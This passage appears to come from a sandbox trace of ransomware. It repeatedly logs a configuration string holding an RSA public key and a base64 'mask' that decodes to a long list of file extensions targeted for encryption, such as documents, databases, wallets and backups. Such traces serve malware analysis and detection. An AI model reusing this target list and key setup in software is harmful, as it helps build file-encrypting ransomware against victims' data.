iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.404] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4